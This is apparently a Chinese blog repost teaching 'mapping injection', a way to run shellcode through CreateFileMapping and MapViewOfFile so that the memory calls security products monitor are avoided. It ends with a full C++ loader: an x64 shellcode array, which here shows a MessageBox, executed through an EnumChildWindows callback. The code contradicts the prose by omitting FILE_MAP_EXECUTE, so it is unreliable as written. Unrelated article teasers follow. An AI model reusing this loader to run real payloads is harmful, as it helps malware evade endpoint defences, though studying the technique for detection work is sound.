映射注入

news/2025/1/20 13:06:45/文章来源:https://www.cnblogs.com/websecyw/p/18681144

一、前言

在所有先前的实现中,私有内存类型都用于在执行期间存储有效负载。私有内存是使用 VirtualAlloc 或 VirtualAllocEx 分配的,如下图所示可以看到内存类型属于Private

二、映射内存注入

分配私有内存的过程因被恶意软件广泛使用而受到安全解决方案的高度监控。为了避免使用这些受常规监控的 WinAPI,如 VirtualAlloc/Ex 和 VirtualProtect/Ex,映射注入使用不同的 WinAPI(如 CreateFileMapping 和 MapViewOfFile)映射内存类型。VirtualProtect/Ex WinAPI 不能用于更改映射内存的内存权限。

 

当通过 CreateFileMapping 创建映射对象时,操作系统实际上会在物理内存中为该对象分配一定的内存空间。如果是基于文件的映射(即传入有效文件句柄 hFile),操作系统会将文件内容加载到这块物理内存中。如果是匿名映射(即 hFileINVALID_HANDLE_VALUE),操作系统会直接分配一块空的物理内存。

这块物理内存与虚拟地址空间之间的关系如下:

  • 物理内存是实际硬件上存储数据的区域,由操作系统分配和管理。
  • 虚拟内存是进程看到的地址空间,每个进程有自己的虚拟内存地址空间。
  • 通过文件映射,操作系统在物理内存和进程虚拟内存之间建立映射关系。程序可以通过虚拟内存直接访问物理内存中的数据,而无需关心底层的物理地址。

CreateFileMapping 创建一个文件映射对象,通过内存映射技术提供文件内容的访问。它允许进程创建一个映射到磁盘上的文件内容或其他内存位置的虚拟内存空间。该函数返回对文件映射对象的句柄。

HANDLE CreateFileMappingA([in]           HANDLE                hFile,[in, optional] LPSECURITY_ATTRIBUTES lpFileMappingAttributes,     // 不需要 - NULL[in]           DWORD                 flProtect,[in]           DWORD                 dwMaximumSizeHigh,           // 不需要 - NULL[in]           DWORD                 dwMaximumSizeLow,[in, optional] LPCSTR                lpName                       // 不需要 - NULL   
);

hFile - 用于创建文件映射句柄的文件句柄。由于实现中不需要从文件中创建文件映射,因此可以使用 INVALID_HANDLE_VALUE 标志,如果 hFile 为 INVALID_HANDLE_VALUE,则调用进程还必须在 dwMaximumSizeHigh 和 dwMaximumSizeLow 参数中为文件映射对象指定一个大小

  • flProtect - 指定文件映射对象的页面保护。在此实现中,它将设置为 PAGE_EXECUTE_READWRITE。请注意,这并不会创建一个 RWX 段,而是指定稍后可以创建它。如果已将其设置为 PAGE_READWRITE,则以后将无法执行 payload。

  • dwMaximumSizeLow - 返回文件映射句柄的大小。此值将为 payload 的大小。

MapViewOfFile 将一个文件映射对象映射到一个进程的地址空间。它接受一个文件映射对象句柄和期望的访问权限,并返回在进程地址空间中映射起始位置的指针。

LPVOID MapViewOfFile([in] HANDLE     hFileMappingObject,[in] DWORD      dwDesiredAccess,[in] DWORD      dwFileOffsetHigh,           // 不需要,可设为 NULL[in] DWORD      dwFileOffsetLow,            // 不需要,可设为 NULL[in] SIZE_T     dwNumberOfBytesToMap
);
  • hFileMappingObject - CreateFileMapping WinAPI 返回的句柄,它是文件映射对象。

  • dwDesiredAccess - 文件映射对象的访问类型,它决定页面保护所创建的页面(换句话说,MapViewOfFile 调用的分配内存的内存权限)。由于将 CreateFileMapping 设为 PAGE_EXECUTE_READWRITE,此参数将同时使用 FILE_MAP_EXECUTE 和 FILE_MAP_WRITE 标志来返回有效可执行且可写的内存,这也是为了复制有效内容并在之后执行它所需要的内容。

   如果在 CreateFileMapping 中使用 PAGE_READWRITE 标志且在 MapViewOfFile 中使用 FILE_MAP_EXECUTE 标志,则 MapViewOfFile 将会失败,因为尝试由可读写 CreateFileMapping 对象句柄(无法执行此操作)创建可执行内存。

  • dwNumberOfBytesToMap - 有效内容的大小。

三、完整代码

 

#include <windows.h>
#include <iostream>unsigned char shellcode[] = "\x48\x83\xEC\x28\x48\x83\xE4\xF0\x48\x8D\x15\x66\x00\x00\x00"
"\x48\x8D\x0D\x52\x00\x00\x00\xE8\x9E\x00\x00\x00\x4C\x8B\xF8"
"\x48\x8D\x0D\x5D\x00\x00\x00\xFF\xD0\x48\x8D\x15\x5F\x00\x00"
"\x00\x48\x8D\x0D\x4D\x00\x00\x00\xE8\x7F\x00\x00\x00\x4D\x33"
"\xC9\x4C\x8D\x05\x61\x00\x00\x00\x48\x8D\x15\x4E\x00\x00\x00"
"\x48\x33\xC9\xFF\xD0\x48\x8D\x15\x56\x00\x00\x00\x48\x8D\x0D"
"\x0A\x00\x00\x00\xE8\x56\x00\x00\x00\x48\x33\xC9\xFF\xD0\x4B"
"\x45\x52\x4E\x45\x4C\x33\x32\x2E\x44\x4C\x4C\x00\x4C\x6F\x61"
"\x64\x4C\x69\x62\x72\x61\x72\x79\x41\x00\x55\x53\x45\x52\x33"
"\x32\x2E\x44\x4C\x4C\x00\x4D\x65\x73\x73\x61\x67\x65\x42\x6F"
"\x78\x41\x00\x48\x65\x6C\x6C\x6F\x20\x77\x6F\x72\x6C\x64\x00"
"\x4D\x65\x73\x73\x61\x67\x65\x00\x45\x78\x69\x74\x50\x72\x6F"
"\x63\x65\x73\x73\x00\x48\x83\xEC\x28\x65\x4C\x8B\x04\x25\x60"
"\x00\x00\x00\x4D\x8B\x40\x18\x4D\x8D\x60\x10\x4D\x8B\x04\x24"
"\xFC\x49\x8B\x78\x60\x48\x8B\xF1\xAC\x84\xC0\x74\x26\x8A\x27"
"\x80\xFC\x61\x7C\x03\x80\xEC\x20\x3A\xE0\x75\x08\x48\xFF\xC7"
"\x48\xFF\xC7\xEB\xE5\x4D\x8B\x00\x4D\x3B\xC4\x75\xD6\x48\x33"
"\xC0\xE9\xA7\x00\x00\x00\x49\x8B\x58\x30\x44\x8B\x4B\x3C\x4C"
"\x03\xCB\x49\x81\xC1\x88\x00\x00\x00\x45\x8B\x29\x4D\x85\xED"
"\x75\x08\x48\x33\xC0\xE9\x85\x00\x00\x00\x4E\x8D\x04\x2B\x45"
"\x8B\x71\x04\x4D\x03\xF5\x41\x8B\x48\x18\x45\x8B\x50\x20\x4C"
"\x03\xD3\xFF\xC9\x4D\x8D\x0C\x8A\x41\x8B\x39\x48\x03\xFB\x48"
"\x8B\xF2\xA6\x75\x08\x8A\x06\x84\xC0\x74\x09\xEB\xF5\xE2\xE6"
"\x48\x33\xC0\xEB\x4E\x45\x8B\x48\x24\x4C\x03\xCB\x66\x41\x8B"
"\x0C\x49\x45\x8B\x48\x1C\x4C\x03\xCB\x41\x8B\x04\x89\x49\x3B"
"\xC5\x7C\x2F\x49\x3B\xC6\x73\x2A\x48\x8D\x34\x18\x48\x8D\x7C"
"\x24\x30\x4C\x8B\xE7\xA4\x80\x3E\x2E\x75\xFA\xA4\xC7\x07\x44"
"\x4C\x4C\x00\x49\x8B\xCC\x41\xFF\xD7\x49\x8B\xCC\x48\x8B\xD6"
"\xE9\x14\xFF\xFF\xFF\x48\x03\xC3\x48\x83\xC4\x28\xC3";int main() {HANDLE filemap = CreateFileMappingA(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, sizeof(shellcode), NULL);PVOID pMapAddress = MapViewOfFile(filemap, FILE_MAP_WRITE,NULL,NULL,sizeof(shellcode));memcpy(pMapAddress, shellcode, sizeof(shellcode));if (!EnumChildWindows(NULL, (WNDENUMPROC)pMapAddress, NULL)) {printf("[!] EnumChildWindows Failed With Error : %d \n", GetLastError());return -1;}}

 

 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/872100.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

攀高行为检测识别摄像机

攀高行为检测识别摄像机具有高清晰度和远程监控功能。通过高清晰度的摄像头捕捉到工作人员在高空作业中的实时图像,并通过远程监控系统进行数据传输和处理。管理人员可以随时随地查看工作人员的操作情况,及时发现异常行为并采取相应措施。攀高行为检测识别摄像机支持多种智能…

升降梯人数统计识别摄像机

升降梯人数统计识别摄像机具有高效的图像识别功能。通过高清晰度的摄像头捕捉到升降梯内乘客的图像,并通过图像识别技术进行快速准确的人数统计。并通过智能算法对数据进行融合分析。通过多源数据融合分析,可以更加全面准确地评估升降梯内乘客流量情况。升降梯人数统计识别摄…

边坡监测预警摄像机

边坡监测预警摄像机是一种结合了摄像技术和智能算法的设备,能够实时监测边坡的变化情况,并通过分析和识别地表位移、裂缝扩展等特征来提供监测和预警服务。这种摄像机在土木工程、地质灾害防治、城市规划等领域有着广泛的应用,可以帮助管理人员及时发现潜在风险并采取相应措…

防疲劳驾驶摄像头

防疲劳驾驶摄像头具有高清晰度和远程监控功能。通过高清晰度的摄像头实时捕捉到驾驶员的面部表情和眼睛活动情况,并通过远程监控系统进行数据传输和处理。当系统检测到驾驶员出现打哈欠、频繁眨眼等疲劳征兆时,会自动触发警示系统,提醒司机注意休息或换班。防疲劳驾驶摄像头…

vue3.5保证你看得明明白白

子组件中设置默认属性 <template><div class="child-page"><h1>我是子组件</h1><h3>{{ total }}</h3><h3>{{ userInfo }} </h3></div> </template><script setup> // 在<script setup>defi…

工作时间离岗智能识别监测系统

工作时间离岗智能识别监测系统基于YOLOX和RNN的深度学习算法,工作时间离岗智能识别监测系统系统利用现场已有的监控摄像机识别监控画面中的人员位置和行为特征。通过深度学习算法的处理,系统能够自动识别员工是否离岗,并计算离岗时间。一旦员工离岗时间超出预设的安全阈值,…

RADXA 5B 开启 USB OTG 网络(虚拟网卡)

RADXA 5B 开启 USB OTG 网络(虚拟网卡)按照官方文档进行配置, 会不成功 确保 USB-A 接口主板上, 插入 USB3.0 下方接口(按着主板)配置设备树 Overlays打开系统配置工具sudo rsetup依次选择 Overlays -> 警告Yes -> Manage overlays -> 空格选中Set OTG port 1 to Peri…

一架小飞机有 4 排座位,每排有 3 个座位。已经有八名乘客登机,他们在这些座位中随机就坐

问题111: 一架小飞机有 4 排座位,每排有 3 个座位。已经有八名乘客登机,他们在这些座位中随机就坐.一架小飞机有 4 排座位,每排有 3 个座位。已经有八名乘客登机,他们在这些座位中随机就坐. 接下来要登机的是一对夫妻. 问这对夫妻能够坐在同一排的 2 个相邻座位上的概率是多…

用效率驱动增长:直播团队如何协同工作?

一、企业增长离不开效率提升 在直播电商领域,企业的增长速度往往与团队运营效率息息相关。一个高效的直播团队不仅可以降低运营成本,还能快速响应市场需求,抓住增长机遇。然而,大多数团队仍在效率优化上存在不足。二、直播团队效率低下的常见问题- 1. 任务堆积:未能合理分…

2025年安卓苹果手机有哪些好用的日记本app推荐?

进入2025年,有很多人想要直接在手机上随手写每天的日记,那么安卓或苹果手机上有哪些好用的日记本app推荐呢? 今天来介绍四款简单又好用的手机版写日记的app软件,总有一款是适合你的。 一、手机系统自带便签/备忘录/笔记工具 不管你用的是哪款手机,手机上都有系统自带的便签…

Silicon Labs C8051F020 单片机 USB Debug Adapter适配器调试无法连接问题

在做单片机大作业,使用Keil,使用USB连接开发板。想要进入到调试或烧录功能时总是报错: Cannot connect to the selected USB debug adapterToolStick base adapter. Please check that the device is plugged in and not already in use 如图:首先按照老师发的教程逐个复查…

C# PriorityQueue优先队列

namespace PriorityQueueDemo {public class Task{public string Name { get; set; } }public class TaskPriorityComparer : IComparer<(int, int)>{public int Compare((int, int) x, (int, int) y){// 首先比较紧急程度,然后比较重要性int compareUrgency = x.Item1.…